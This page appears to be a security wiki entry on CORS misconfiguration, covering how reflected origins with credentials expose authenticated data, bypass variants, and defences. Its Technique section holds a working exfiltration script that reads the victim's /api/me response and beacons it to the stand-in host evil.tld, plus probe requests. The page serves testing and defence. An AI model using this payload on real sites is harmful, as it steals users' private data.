CORS misconfiguration
TL;DR: When
Access-Control-Allow-Originreflects the attacker’sOriginandAllow-Credentials: trueis set, any victim browser fetches authenticated data and hands it to attacker JS.
What it is
The CORS spec lets servers opt-in to cross-origin reads beyond the same-origin policy. Servers indicate which origins may read responses via Access-Control-Allow-Origin (ACAO). When the server also sets Access-Control-Allow-Credentials: true, the browser will include cookies and HTTP auth on the cross-origin request and expose the body to the calling script. A naive implementation that echoes the request Origin into ACAO breaks the security model entirely.
Preconditions / where it applies
- API or web app reachable from a victim’s authenticated browser.
- Server reflects
Originor acceptsnull/*with credentials, or has a sloppy regex that matchesattacker.target.com.evil.tld. - Endpoint returns sensitive data on a simple GET (or supports preflight for state-changing methods).
Technique
Quickly probe with curl using a controlled Origin:
1
2
3
4
GET /api/me HTTP/1.1
Host: target.com
Origin: https://evil.tld
Cookie: session=...
Vulnerable response:
1
2
Access-Control-Allow-Origin: https://evil.tld
Access-Control-Allow-Credentials: true
Then host an exfil page:
1
2
3
4
5
<script>
fetch('https://target.com/api/me', { credentials: 'include' })
.then(r => r.text())
.then(b => navigator.sendBeacon('https://evil.tld/c', b));
</script>
Common variants:
- Null origin —
Origin: nullis sent by sandboxed iframes, data: URLs, and some redirects; if the server allows it with credentials, the attacker hosts a sandboxed iframe. - Suffix regex —
^https?://.*\.target\.com$acceptshttps://evil.target.com.attacker.tld. - Pre-prod trust — staging origins (
*.dev.target.com) trusted by prod APIs with shared cookies. - HTTP -> HTTPS allow — mixed scheme allow lets a network attacker on HTTP poison and exfil.
- Trailing-dot / case —
https://target.com.may bypass equality checks.
Without Allow-Credentials, you still read public endpoints — useful for internal APIs reachable from corporate intranets via DNS rebinding (dns-rebinding) or for SSRF amplification (ssrf).
Detection and defence
- Hard-allowlist of origins; never reflect the request
Originverbatim. Compare with exact-match string equality. - Refuse
nullorigin with credentials. - Pair CORS with
Vary: Originso caches do not serve one origin’s response to another (otherwise cache-poisoning). - Do not send sensitive data on simple requests — require a custom header (
X-Requested-With) that forces preflight. - Logs: spike in 200s with attacker origins, or many distinct origins on the same session cookie.
References
- PortSwigger – CORS — primer and labs
- Fetch Standard – CORS protocol — normative spec
- HackTricks – CORS bypass — collected misconfig patterns